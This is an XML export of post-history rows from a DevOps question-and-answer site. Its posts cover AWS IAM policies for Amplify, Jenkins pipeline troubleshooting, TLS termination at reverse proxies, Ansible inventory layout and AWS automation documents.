  <row Id="21996" PostHistoryTypeId="5" PostId="127" RevisionGUID="73236c05-19a1-4f74-8f4b-8181c8c5dd8c" CreationDate="2019-04-23T01:08:52.900" UserId="1180" Comment="broken link fixed" Text="According to the [article you linked][1], Team Resources are shared. This means that all droplets (hosts) are shared across the team once you have a team in place.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: [https://www.digitalocean.com/community/tutorials/how-to-use-teams-on-digitalocean#team-resources][1]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This means that each team member, using his own personal token, can manage all the resources shared with her. Terraform allows each user to use his own credentials when managing resources, and includes a state file (that must be shared as well). Managing shared `tfstate` and managing secrets is addressed in this [DevOps.SE question][2].&#xD;&#xA;&#xD;&#xA;  [1]: https://www.digitalocean.com/community/tutorials/how-to-use-teams-on-digitalocean#team-resources&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/79/how-can-i-manage-secrets-in-tf-and-tfstate" ContentLicense="CC BY-SA 4.0" />
  <row Id="21997" PostHistoryTypeId="24" PostId="127" RevisionGUID="73236c05-19a1-4f74-8f4b-8181c8c5dd8c" CreationDate="2019-04-23T01:08:52.900" Comment="Proposed by 1180 approved by 40, 46 edit id of 987" ContentLicense="CC BY-SA 4.0" />
  <row Id="21998" PostHistoryTypeId="2" PostId="6927" RevisionGUID="333d0700-55f8-4ab9-86cf-3e8bd7c4509f" CreationDate="2019-04-23T04:23:54.937" UserId="13604" Text="I have created a user group in AWS (&quot;developers&quot;). Now I want to attach a policy to the group which will grant the users permission to list, create and update Amplify apps. I am struggling to determine the appropriate policy.&#xD;&#xA;&#xD;&#xA;I see that the &quot;AdministratorAccess&quot; policy includes access to the *AWS Amplify* service, but I don't want the developers to have administrator level access. What are my options?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21999" PostHistoryTypeId="1" PostId="6927" RevisionGUID="333d0700-55f8-4ab9-86cf-3e8bd7c4509f" CreationDate="2019-04-23T04:23:54.937" UserId="13604" Text="Find appropriate AWS policy" ContentLicense="CC BY-SA 4.0" />
  <row Id="22000" PostHistoryTypeId="3" PostId="6927" RevisionGUID="333d0700-55f8-4ab9-86cf-3e8bd7c4509f" CreationDate="2019-04-23T04:23:54.937" UserId="13604" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="22001" PostHistoryTypeId="2" PostId="6928" RevisionGUID="41de19ae-f7f0-4274-bbed-9d27122fa984" CreationDate="2019-04-23T06:39:26.747" UserId="13308" Text="This link detail how we can create role for providing access to applications in aws and you can grant these role to your group .&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2.html&#xD;&#xA;&#xD;&#xA;Another way you can create your own policy and assign to group .&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="22002" PostHistoryTypeId="2" PostId="6929" RevisionGUID="e11e6b8d-6dc5-4640-8f7e-d0903863aaa9" CreationDate="2019-04-23T06:51:07.073" UserId="11905" Text="So it turned out that some of the workers didn't have the **correct credentials** to the docker registry. After I applied the correct ones, the command worked normally. &#xD;&#xA;&#xD;&#xA;That's weird, since I could do it locally... &#xD;&#xA;Anyway, case solved." ContentLicense="CC BY-SA 4.0" />
  <row Id="22003" PostHistoryTypeId="5" PostId="6927" RevisionGUID="39cf4187-77e8-4c73-b496-d4409321c317" CreationDate="2019-04-23T09:17:11.837" UserId="13604" Comment="added 270 characters in body" Text="I have created a user group in AWS (&quot;developers&quot;). Now I want to attach a policy to the group which will grant the users permission to list, create and update Amplify apps. I am struggling to determine the appropriate policy.&#xD;&#xA;&#xD;&#xA;I see that the &quot;AdministratorAccess&quot; policy includes access to the *AWS Amplify* service, but I don't want the developers to have administrator level access. What are my options?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;When the specific user accesses the Amplify console the following error is displayed&#xD;&#xA;&#xD;&#xA;    List apps call failed User: arn:aws:iam::XXXXXXXXXX:user/myUser is not authorized to perform: amplify:ListApps on resource: arn:aws:amplify:eu-west-1:XXXXXXXXXX:apps/*" ContentLicense="CC BY-SA 4.0" />
  <row Id="22004" PostHistoryTypeId="2" PostId="6930" RevisionGUID="4b9852e0-e89c-4c93-b1ff-5edbabef7603" CreationDate="2019-04-23T10:23:19.257" UserId="13608" Text="I wrote a service hook on work item update but I don't want to fire the service hook when work item is updated from REST API, becz its the same data that other system had and it post to ADO and now ADO is posting back that data again, and it is creating duplicates, so any workaround to not to fire service hook when work Item is updated using the REST API or can bypass integration user, ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="22005" PostHistoryTypeId="1" PostId="6930" RevisionGUID="4b9852e0-e89c-4c93-b1ff-5edbabef7603" CreationDate="2019-04-23T10:23:19.257" UserId="13608" Text="TFS Service hook should not fire when work item is updated via REST API" ContentLicense="CC BY-SA 4.0" />
  <row Id="22006" PostHistoryTypeId="3" PostId="6930" RevisionGUID="4b9852e0-e89c-4c93-b1ff-5edbabef7603" CreationDate="2019-04-23T10:23:19.257" UserId="13608" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="22007" PostHistoryTypeId="5" PostId="6863" RevisionGUID="cc0a935c-c429-4cb9-a9cf-df9f685b109f" CreationDate="2019-04-23T10:49:22.880" UserId="13461" Comment="added 1 character in body" Text="I'm considering what is better and easier to use for CI/CD pipeline between Jenkins and AWS CodeDeploy.&#xD;&#xA;&#xD;&#xA;e.g. Jenkins server request webhook to git repo(github), and deploy to EC2.&#xD;&#xA;&#xD;&#xA;e.g. When push to git repo, deploy to EC2 go through codeDeploy.&#xD;&#xA;  &#xD;&#xA;Thank you for your help!!" ContentLicense="CC BY-SA 4.0" />
  <row Id="22008" PostHistoryTypeId="50" PostId="4161" RevisionGUID="29fa5807-60d3-4cac-ad3a-483d5764671d" CreationDate="2019-04-23T12:02:50.557" UserId="-1" />
  <row Id="22009" PostHistoryTypeId="2" PostId="6931" RevisionGUID="11750af2-73e3-412b-abbb-1f17a538d039" CreationDate="2019-04-23T12:57:32.683" UserId="13604" Text="I had to log in as root user, then access the IAM service.&#xD;&#xA;&#xD;&#xA;Under policies click &quot;Create Policy&quot;, then select &quot;Amplify&quot; under the Select a service." ContentLicense="CC BY-SA 4.0" />
  <row Id="22010" PostHistoryTypeId="2" PostId="6932" RevisionGUID="856c4067-ce64-470d-ac56-9f515db9369e" CreationDate="2019-04-23T14:34:31.547" UserId="10855" Text="DevOps newbie here, so bear with me.&#xD;&#xA;I have a project where infrastructure deployment and application deployment is done using powershell and it is tied to VMWare vCenter.&#xD;&#xA;&#xD;&#xA;For every client deployment, a deployment VM is created manually on their vCenter &gt;&gt; everything (application binaries and automation scripts) is copied manually to this VM &gt;&gt; DevOps run powershell script on this VM to create other VMs, configure them, and deploy application binaries.&#xD;&#xA;&#xD;&#xA;What you would recommend to improve this process ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="22011" PostHistoryTypeId="1" PostId="6932" RevisionGUID="856c4067-ce64-470d-ac56-9f515db9369e" CreationDate="2019-04-23T14:34:31.547" UserId="10855" Text="DevOps Newbie - How to automate windows infrastructure deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="22012" PostHistoryTypeId="3" PostId="6932" RevisionGUID="856c4067-ce64-470d-ac56-9f515db9369e" CreationDate="2019-04-23T14:34:31.547" UserId="10855" Text="&lt;terraform&gt;&lt;packer&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="22013" PostHistoryTypeId="5" PostId="6925" RevisionGUID="2655d7a3-7dba-4c38-b380-ae9e5ff22a63" CreationDate="2019-04-23T16:41:55.337" UserId="3164" Comment="deleted 2 characters in body" Text="You will find people from both camps (terminating TLS as soon as possible vs terminating TLS in the application code) but it's not as _serious_ as for example tabs vs spaces.&#xD;&#xA;&#xD;&#xA;The benefit of terminating TLS by reverse proxy is that application developer does not have to implement TLS in the application itself - possibly introducing bugs. Another benefit mentioned by [jdog](https://devops.stackexchange.com/a/6922/3164) is the CPU cost; which is negligible these days - unless you are running 100s of micro-services and it all adds up to a large chunk of money.&#xD;&#xA;&#xD;&#xA;Personally I always go with reverse proxy terminating the TLS unless there is a specific requirement against it (security reasons). I also make sure that service behind reverse proxy listens on the localhost / local network only - is not accessible directly form the internet.&#xD;&#xA;&#xD;&#xA;You may find [wikipedia article about TLS termination](https://en.wikipedia.org/wiki/TLS_termination_proxy) useful.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="22014" PostHistoryTypeId="2" PostId="6933" RevisionGUID="3bb9f635-f485-4327-a451-b3ac534e1051" CreationDate="2019-04-23T20:48:35.980" UserId="13616" Text="When you see `scriptsecurity.sandbox` error, that means you need to allow the script from Jenkins script approval page https://&lt;your-jenkins&gt;/scriptApproval/&#xD;&#xA;Also I would recommend you not to import your package directly within your pipeline. Instead I would define a step under `./vars` folder and only there import the custom package" ContentLicense="CC BY-SA 4.0" />
  <row Id="22015" PostHistoryTypeId="2" PostId="6934" RevisionGUID="a6adedff-74ca-4bd1-8862-07dc00bc5f70" CreationDate="2019-04-23T20:49:31.397" UserId="4328" Text="The first this I can recommend for you is to remove all of the manual steps in your deployment pipeline. DevOps is all about automating as much as possible to allow for fast, frequent, and safe deployment of your infrastructure. &#xD;&#xA;&#xD;&#xA;Second, if you haven't already, I would recommend using a build and deployment tool (Jenkins, Bamboo, GitLabCI, etc.) to compile your binaries and execute your automated deployment/configuration scripts. Having a central location for your deployments allows you to be able to scale more effectively, avoid repetition, and monitor your deployments more effectively. You should also store ALL of your scripts in some form of revision control if they are already not ASAP.&#xD;&#xA;&#xD;&#xA;Finally, I recommend you read up more on DevOps best practices and how it can affect your organization. In order for DevOps to be truly effective, your entire development team and company must adopt best practices and be 100% on board with a shift in how you manage your deployments. &#xD;&#xA;&#xD;&#xA;Some reading I can recommend are:&#xD;&#xA;&#xD;&#xA;[The Phoenix Project][1] by Gene Kim, Kevin Behr, and George Spafford&#xD;&#xA;&#xD;&#xA;A telling of a fictional, but very realistic story of DevOps transforming a company and the opticals that the team faces to get there. &#xD;&#xA;&#xD;&#xA;[The DevOps Handbook][2] by Gene Kim, Patrick Debois, John Willis, Jez Humble, and John Allspaw&#xD;&#xA;&#xD;&#xA;Outlines the steps/stages to transform your company into a DevOps organization along with an assortment of real life DevOps transforming case studies.&#xD;&#xA;&#xD;&#xA;[Accelerate][3] by Nicole Forsgren, Jez Humble, and Gene Kim&#xD;&#xA;&#xD;&#xA;A plethora of empirical data and analysis on how DevOps has improved organizations both within IT and the entire company. &#xD;&#xA;&#xD;&#xA;[Continuous Integration][4] by Paul Duvall, Steve Matayas, and Andrew Glover&#xD;&#xA;&#xD;&#xA;Lays out the steps to take to move your organization to be able to deploy to the highest standards possible. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262592/ref=sr_1_1?keywords=phoenix%20project&amp;qid=1556051582&amp;s=gateway&amp;sr=8-1&#xD;&#xA;  [2]: https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations/dp/1942788002/ref=pd_sim_14_1/140-9320419-0348704?_encoding=UTF8&amp;pd_rd_i=1942788002&amp;pd_rd_r=3fd3cd38-6607-11e9-afd4-2da01f345a74&amp;pd_rd_w=r4fse&amp;pd_rd_wg=u6eHj&amp;pf_rd_p=90485860-83e9-4fd9-b838-b28a9b7fda30&amp;pf_rd_r=AG051RX14M2E1R9DWQW3&amp;psc=1&amp;refRID=AG051RX14M2E1R9DWQW3&#xD;&#xA;  [3]: https://www.amazon.com/Accelerate-Software-Performing-Technology-Organizations/dp/1942788339/ref=sr_1_1?keywords=Accellerate&amp;qid=1556051875&amp;s=books&amp;sr=1-1&#xD;&#xA;  [4]: https://www.amazon.com/Continuous-Integration-Improving-Software-Reducing/dp/0321336380/ref=sr_1_4?crid=1NYCLTALQVLNV&amp;keywords=continuous%20integration&amp;qid=1556051943&amp;s=books&amp;sprefix=continuous%20integ%2Cstripbooks%2C161&amp;sr=1-4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22016" PostHistoryTypeId="2" PostId="6935" RevisionGUID="9cd8f1e1-6499-423c-9cb3-140c3f1edb3e" CreationDate="2019-04-23T21:17:47.860" UserId="13616" Text="If I need to build, run checks, tests, ... I use a node.&#xD;&#xA;&#xD;&#xA;If I want to open a connection to a server to deliver the built code to production for example, I use the sshCommand step from SSH Step plugin. When the code is delivered the ssh connection is closed.&#xD;&#xA;&#xD;&#xA;Having a node always connected to your jenkins can be unpleasant. Let's say the server you connect to belongs to a partner and he wants to audit the times you connect to put the files on the server. In that case he cannot say. Having a node always connected also means you need to maintain the connection, imagine the server is configured to disconnect you after a while or the server reboots and the connection is not relaunched." ContentLicense="CC BY-SA 4.0" />
  <row Id="22017" PostHistoryTypeId="2" PostId="6936" RevisionGUID="b424f388-7db0-43b7-b2c3-478d219df0cd" CreationDate="2019-04-23T21:27:02.973" UserId="13616" Text="using bash script (or pipeline step `sh`), I would do:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;JIRA_ISSUE_KEY=$(python my_python_script.py)&#xD;&#xA;echo &quot;$JIRA_ISSUE_KEY&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="22018" PostHistoryTypeId="2" PostId="6937" RevisionGUID="b45ff343-8d2d-4dfd-8b76-ac58858c4c9c" CreationDate="2019-04-23T21:30:18.020" UserId="13616" Text="delete your job, create a new one, add a step clean workspace as the first step of your job. with pipelines it is `cleanWs()`. see plugin doc here: https://wiki.jenkins.io/display/JENKINS/Workspace+Cleanup+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="22019" PostHistoryTypeId="2" PostId="6938" RevisionGUID="f86e740f-3710-4c66-9fe4-f8784808607f" CreationDate="2019-04-23T21:35:22.987" UserId="13616" Text="What I would do is check read/write permission settings on `/var/lib/jenkins/config.xml`, then remove the xml in `/var/lib/jenkins/` that has the plugin's name in its filename. (backup it before just in case)" ContentLicense="CC BY-SA 4.0" />
  <row Id="22020" PostHistoryTypeId="2" PostId="6939" RevisionGUID="ec8868c5-cd84-4134-a1b3-e202183723f7" CreationDate="2019-04-23T22:42:53.430" UserId="13617" Text="Generally speaking a good practice for AWS Lambda is to map what are the services and permissions required for it to run properly then create a dedicated role for it with the required policies. I also recommend not using roles on multiple Lambdas, it tends to get very insecure fast if you do." ContentLicense="CC BY-SA 4.0" />
  <row Id="22021" PostHistoryTypeId="2" PostId="6940" RevisionGUID="155e2dea-99ca-4d13-8440-7674d3463ee8" CreationDate="2019-04-23T23:41:03.267" UserId="6579" Text="You have not instantiated the Utils class in the myorg classpath so you cannot reference the method `echoTest()`. Try `Utils.echoTest` or just `echoTest()`" ContentLicense="CC BY-SA 4.0" />
  <row Id="23020" PostHistoryTypeId="2" PostId="7939" RevisionGUID="fd4182fe-be54-4b54-8e02-f081c8af9978" CreationDate="2019-04-24T03:13:33.473" UserId="14617" Text="I am very new to ansible and I think I am lacking something basic that I am not finding in the examples or on github as to the directory structure and its use.&#xD;&#xA;&#xD;&#xA;I have set up my directory structure using ansible best practices document but the documentation is not clear on how the structure should be used in practice.  I have multiple clients in which the inventories must be kept seperate.  I have laid out my inventory files as follows:&#xD;&#xA;&#xD;&#xA;    -inventory&#xD;&#xA;      -client1&#xD;&#xA;        -group_vars&#xD;&#xA;         all&#xD;&#xA;         credentials.yml &lt;encrypted&gt;&#xD;&#xA;         router&#xD;&#xA;         switch&#xD;&#xA;         firewall &#xD;&#xA;        -host_vars&#xD;&#xA;         router1&#xD;&#xA;         switch1&#xD;&#xA;         firewall1&#xD;&#xA;        hosts&#xD;&#xA;      -client2&#xD;&#xA;        -group_vars&#xD;&#xA;         all&#xD;&#xA;         credentials.yml &lt;encrypted&gt;&#xD;&#xA;         router&#xD;&#xA;         switch&#xD;&#xA;         firewall &#xD;&#xA;        -host_vars&#xD;&#xA;         router1&#xD;&#xA;         switch1&#xD;&#xA;         firewall1&#xD;&#xA;        hosts&#xD;&#xA;    -roles&#xD;&#xA;      -role1&#xD;&#xA;         -tasks&#xD;&#xA;          main.yml&#xD;&#xA;      -role2&#xD;&#xA;         -tasks&#xD;&#xA;          main.yml&#xD;&#xA;&#xD;&#xA;The hosts files contain routers, switches and firewalls (grouped as such) like this:&#xD;&#xA;&#xD;&#xA;    [router]&#xD;&#xA;    router1 ansible_host=1.2.3.4&#xD;&#xA;    &#xD;&#xA;    [switch]&#xD;&#xA;    switch1 ansible_host=5.6.7.8&#xD;&#xA;    &#xD;&#xA;    [firewall]&#xD;&#xA;    firewall1 ansible_host=9.10.11.12&#xD;&#xA;&#xD;&#xA;The group_vars have router, switch and firewall files with the appropriate variables.  There is a credentials.yml in the ./inventory/client name/group_vars directory that is encrypted and should be loaded for every playbook. &#xD;&#xA;&#xD;&#xA;If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against?  &#xD;&#xA;`ansible-playbook -i inventory/client1/hosts myplaybook.yml` &lt;--where can I put the specific host that is in the hosts file?  I have tried several different methods and none seem to work.  My guess is that I am running the ansible-playbook command from the wrong directory.&#xD;&#xA;&#xD;&#xA;If I run ansible-playbook in the correct inventory folder (./inventory/client1/) I can pick the host, but how do I point to the playbooks that are in the root folder without backing up directories each time like this:&#xD;&#xA;&#xD;&#xA;    ansible-playbook -i hosttarget ../../myplaybook.yml&#xD;&#xA;&#xD;&#xA;It seems poor form to have to back out of the directory each time just to run a playbook.  If I just put the playbook name, it does not find it so I am thinking that it was not the intention to run ansible-playbook in this way either.&#xD;&#xA;&#xD;&#xA;How can I load additional credentials files or group variables?  It would be nice if there was a way to pull this from the directory that contains the inventory but I can't figure that out.  I was thinking of possibly loading extra_vars in the playbook and setting a value for a variable called &quot;client&quot; in the &quot;all&quot; file, but it seems kludgy and prone to error.  I was hoping that there was some type of automatic pull that can be done like the loading of the group_vars and host_vars but maybe I am missing something.&#xD;&#xA;&#xD;&#xA;    cat ./inventory/client1/all&#xD;&#xA;    client=client1&#xD;&#xA;    &#xD;&#xA;    extra_vars=~/inventory/{{ client }}/credentials.yml&#xD;&#xA;&#xD;&#xA;My thought is that since the inventory layout is shown as Ansible best practices, then maybe I am not fully understanding of how I should be running playbooks.  &#xD;&#xA;&#xD;&#xA;It would seem to me that I should be able to run ansible-playbook in the root directory that contains all my plays and point it to an inventory file easily.  The playbooks should be reusable across all clients with no changes required and there should be an easy way to load variable files without having to specify them each time at the command line.  Ansible already does this very well with group_vars and host_vars so I am thinking that I am just missing something simple.&#xD;&#xA;&#xD;&#xA;To sum up, here are some examples of things that I would need to run and I would like some help on how to formulate the command line with the directory structure above.&#xD;&#xA;&#xD;&#xA;run task1 on firewall1 of client1 using the credentials.yml encrypted credentials in the client1 folder.&#xD;&#xA;&#xD;&#xA;run task1 on firewall1 of client2 using the credentials.yml encrypted credentials in the client2 folder.&#xD;&#xA;&#xD;&#xA;run task2 on router1 of client1 using the credentials.yml encrypted credentials in the client1 folder.&#xD;&#xA;&#xD;&#xA;run task2 on router1 of client2 using the credentials.yml encrypted credentials in the client2 folder.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23021" PostHistoryTypeId="1" PostId="7939" RevisionGUID="fd4182fe-be54-4b54-8e02-f081c8af9978" CreationDate="2019-04-24T03:13:33.473" UserId="14617" Text="Unable to run playbooks using Ansible best practices layout" ContentLicense="CC BY-SA 4.0" />
  <row Id="23022" PostHistoryTypeId="3" PostId="7939" RevisionGUID="fd4182fe-be54-4b54-8e02-f081c8af9978" CreationDate="2019-04-24T03:13:33.473" UserId="14617" Text="&lt;ansible&gt;&lt;yaml&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23023" PostHistoryTypeId="2" PostId="7940" RevisionGUID="d848eae4-219e-42af-93d5-c3b3105c8d45" CreationDate="2019-04-24T05:41:45.657" UserId="14619" Text="Firstly, `docker-compose` is is a tool for defining and running multi-container Docker applications. (https://docs.docker.com/compose/).&#xD;&#xA;Dockerfile is single-container, if you want to run multi-containers on GKE you should convert docker-compose to kubernetes deployment.&#xD;&#xA;&#xD;&#xA;You can manually convert or use http://kompose.io/ to convert automatically.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23024" PostHistoryTypeId="50" PostId="5458" RevisionGUID="bce99feb-9e39-40c6-a193-8c6e93486efc" CreationDate="2019-04-24T09:01:01.473" UserId="-1" />
  <row Id="23025" PostHistoryTypeId="5" PostId="7939" RevisionGUID="a238ff7f-41f5-494f-a571-d69d47d5c970" CreationDate="2019-04-24T09:32:22.550" UserId="14617" Comment="Corrected format of directory layout to avoid confusion caused by using dashes to represent directories which made the layout look like yaml instead of a directory layout." Text="I am very new to ansible and I think I am lacking something basic that I am not finding in the examples or on github as to the directory structure and its use.&#xD;&#xA;&#xD;&#xA;I have set up my directory structure using ansible best practices document located here:&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#directory-layout&#xD;&#xA;&#xD;&#xA;But the documentation is not clear on how the structure should be used in practice.  I have multiple clients in which the inventories must be kept seperate.  My directory structure is set up as follows:&#xD;&#xA;&#xD;&#xA;    inventory/&#xD;&#xA;       client1/&#xD;&#xA;          group_vars/&#xD;&#xA;            all&#xD;&#xA;            credentials.yml &lt;encrypted&gt;&#xD;&#xA;            router&#xD;&#xA;            switch&#xD;&#xA;            firewall &#xD;&#xA;          host_vars/&#xD;&#xA;            router1&#xD;&#xA;            switch1&#xD;&#xA;            firewall1&#xD;&#xA;          hosts&#xD;&#xA;       client2/&#xD;&#xA;          group_vars/&#xD;&#xA;            all&#xD;&#xA;            credentials.yml &lt;encrypted&gt;&#xD;&#xA;            router&#xD;&#xA;            switch&#xD;&#xA;            firewall &#xD;&#xA;          host_vars/&#xD;&#xA;            router1&#xD;&#xA;            switch1&#xD;&#xA;            firewall1&#xD;&#xA;          hosts&#xD;&#xA;    roles/&#xD;&#xA;      role1/&#xD;&#xA;         tasks/&#xD;&#xA;           main.yml&#xD;&#xA;      role2/&#xD;&#xA;         tasks/&#xD;&#xA;           main.yml&#xD;&#xA;&#xD;&#xA;The hosts files contain routers, switches and firewalls (grouped as such) like this:&#xD;&#xA;&#xD;&#xA;    [router]&#xD;&#xA;    router1 ansible_host=1.2.3.4&#xD;&#xA;    &#xD;&#xA;    [switch]&#xD;&#xA;    switch1 ansible_host=5.6.7.8&#xD;&#xA;    &#xD;&#xA;    [firewall]&#xD;&#xA;    firewall1 ansible_host=9.10.11.12&#xD;&#xA;&#xD;&#xA;The group_vars have router, switch and firewall files with the appropriate variables.  There is a credentials.yml in the ./inventory/client name/group_vars directory that is encrypted and should be loaded for every playbook. &#xD;&#xA;&#xD;&#xA;If I run ansible-playbook -i /path to hostfile/ how do I pick the specific host I want to run against?  &#xD;&#xA;`ansible-playbook -i inventory/client1/hosts myplaybook.yml` &lt;--where can I put the specific host that is in the hosts file?  I have tried several different methods and none seem to work.  My guess is that I am running the ansible-playbook command from the wrong directory.&#xD;&#xA;&#xD;&#xA;If I run ansible-playbook in the correct inventory folder (./inventory/client1/) I can pick the host, but how do I point to the playbooks that are in the root folder without backing up directories each time like this:&#xD;&#xA;&#xD;&#xA;    ansible-playbook -i hosttarget ../../myplaybook.yml&#xD;&#xA;&#xD;&#xA;It seems poor form to have to back out of the directory each time just to run a playbook.  If I just put the playbook name, it does not find it so I am thinking that it was not the intention to run ansible-playbook in this way either.&#xD;&#xA;&#xD;&#xA;How can I load additional credentials files or group variables?  It would be nice if there was a way to pull this from the directory that contains the inventory but I can't figure that out.  I was thinking of possibly loading extra_vars in the playbook and setting a value for a variable called &quot;client&quot; in the &quot;all&quot; file, but it seems kludgy and prone to error.  I was hoping that there was some type of automatic pull that can be done like the loading of the group_vars and host_vars but maybe I am missing something.&#xD;&#xA;&#xD;&#xA;    cat ./inventory/client1/all&#xD;&#xA;    client=client1&#xD;&#xA;    &#xD;&#xA;    extra_vars=~/inventory/{{ client }}/credentials.yml&#xD;&#xA;&#xD;&#xA;My thought is that since the inventory layout is shown as Ansible best practices, then maybe I am not fully understanding of how I should be running playbooks.  &#xD;&#xA;&#xD;&#xA;It would seem to me that I should be able to run ansible-playbook in the root directory that contains all my plays and point it to an inventory file easily.  The playbooks should be reusable across all clients with no changes required and there should be an easy way to load variable files without having to specify them each time at the command line.  Ansible already does this very well with group_vars and host_vars so I am thinking that I am just missing something simple.&#xD;&#xA;&#xD;&#xA;To sum up, here are some examples of things that I would need to run and I would like some help on how to formulate the command line with the directory structure above.&#xD;&#xA;&#xD;&#xA;run task1 on firewall1 of client1 using the credentials.yml encrypted credentials in the client1 folder.&#xD;&#xA;&#xD;&#xA;run task1 on firewall1 of client2 using the credentials.yml encrypted credentials in the client2 folder.&#xD;&#xA;&#xD;&#xA;run task2 on router1 of client1 using the credentials.yml encrypted credentials in the client1 folder.&#xD;&#xA;&#xD;&#xA;run task2 on router1 of client2 using the credentials.yml encrypted credentials in the client2 folder.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23026" PostHistoryTypeId="2" PostId="7941" RevisionGUID="612ebd47-7a26-4e24-be15-aede6f4e014e" CreationDate="2019-04-24T09:53:54.443" UserId="14617" Text="Another way to do this would be to set a role variable in your host_vars file called &quot;role&quot; and assign the role to install that way.  You could also use the loop that Vladimir provided to install multiple roles.&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - name: &quot;Install Apache&quot;&#xD;&#xA;        become: true&#xD;&#xA;        package:&#xD;&#xA;          name: apache2&#xD;&#xA;          state: latest&#xD;&#xA;        when: role == &quot;apache&quot;&#xD;&#xA;    &#xD;&#xA;      - name: &quot;Install GCC&quot;&#xD;&#xA;        become: true&#xD;&#xA;        package:&#xD;&#xA;          name: gcc&#xD;&#xA;          state: latest&#xD;&#xA;        when: role == &quot;gcc&quot;&#xD;&#xA;&#xD;&#xA;You could also use tags to control what gets run in your play:&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - name: &quot;Install Apache&quot;&#xD;&#xA;        become: true&#xD;&#xA;        package:&#xD;&#xA;          name: apache2&#xD;&#xA;          state: latest&#xD;&#xA;        tags:&#xD;&#xA;           - web&#xD;&#xA;      - name: &quot;Install GCC&quot;&#xD;&#xA;        become: true&#xD;&#xA;        package:&#xD;&#xA;          name: gcc&#xD;&#xA;          state: latest&#xD;&#xA;        tags:&#xD;&#xA;           - gcc&#xD;&#xA;&#xD;&#xA;And run your playbook setting the tags you require:&#xD;&#xA;&#xD;&#xA;    ansible-playbook example.yml --tags &quot;web,gcc&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23027" PostHistoryTypeId="2" PostId="7942" RevisionGUID="9f207d7a-4e17-4c9c-84ec-ea1437c5fabf" CreationDate="2019-04-24T11:45:14.430" UserId="9754" Text="As the title describes I want to execute a step against a resource, but I want to specify that resource not by resource id but by tags, I have tried with the below example, but it doesn't work. What is the proper syntax and is that possible at all?&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;description: &quot;Automation Document in YAML - version 3.0. Script to fully start instances in order respecting components dependencies. Created by - xxxx&quot;&#xD;&#xA;schemaVersion: &quot;0.3&quot;&#xD;&#xA;# assumeRole: &quot;{{ AutomationAssumeRole }}&quot;&#xD;&#xA;# parameters:&#xD;&#xA;#   InstanceId:&#xD;&#xA;#     type: &quot;StringList&quot;&#xD;&#xA;#     description: &quot;(Required) EC2 Instance(s) to start&quot;&#xD;&#xA;#   AutomationAssumeRole:&#xD;&#xA;#     type: &quot;String&quot;&#xD;&#xA;#     description: &quot;(Optional) The ARN of the role that allows Automation to perform the actions on your behalf.&quot;&#xD;&#xA;#     default: &quot;&quot;&#xD;&#xA;mainSteps:&#xD;&#xA;## STEP 1&#xD;&#xA;- name: startSomeProductComponent1Test&#xD;&#xA;  action: aws:runCommand&#xD;&#xA;  maxAttempts: 2&#xD;&#xA;  inputs:&#xD;&#xA;    Tags:&#xD;&#xA;    - Key: Product&#xD;&#xA;      Value: SomeProduct&#xD;&#xA;    - Key: Name&#xD;&#xA;      Value: SomeProduct-Component1-Test&#xD;&#xA;    DocumentName: AWS-RunPowerShellScript&#xD;&#xA;    Parameters:&#xD;&#xA;      commands:&#xD;&#xA;      - Start-Service -Name &quot;Component1&quot;&#xD;&#xA;      - Start-Sleep -s 30&#xD;&#xA;  nextStep: ..." ContentLicense="CC BY-SA 4.0" />
  <row Id="23028" PostHistoryTypeId="1" PostId="7942" RevisionGUID="9f207d7a-4e17-4c9c-84ec-ea1437c5fabf" CreationDate="2019-04-24T11:45:14.430" UserId="9754" Text="AWS Automation Document Run Steps Against Different Servers Targeted By Tag" ContentLicense="CC BY-SA 4.0" />
  <row Id="23029" PostHistoryTypeId="3" PostId="7942" RevisionGUID="9f207d7a-4e17-4c9c-84ec-ea1437c5fabf" CreationDate="2019-04-24T11:45:14.430" UserId="9754" Text="&lt;amazon-web-services&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
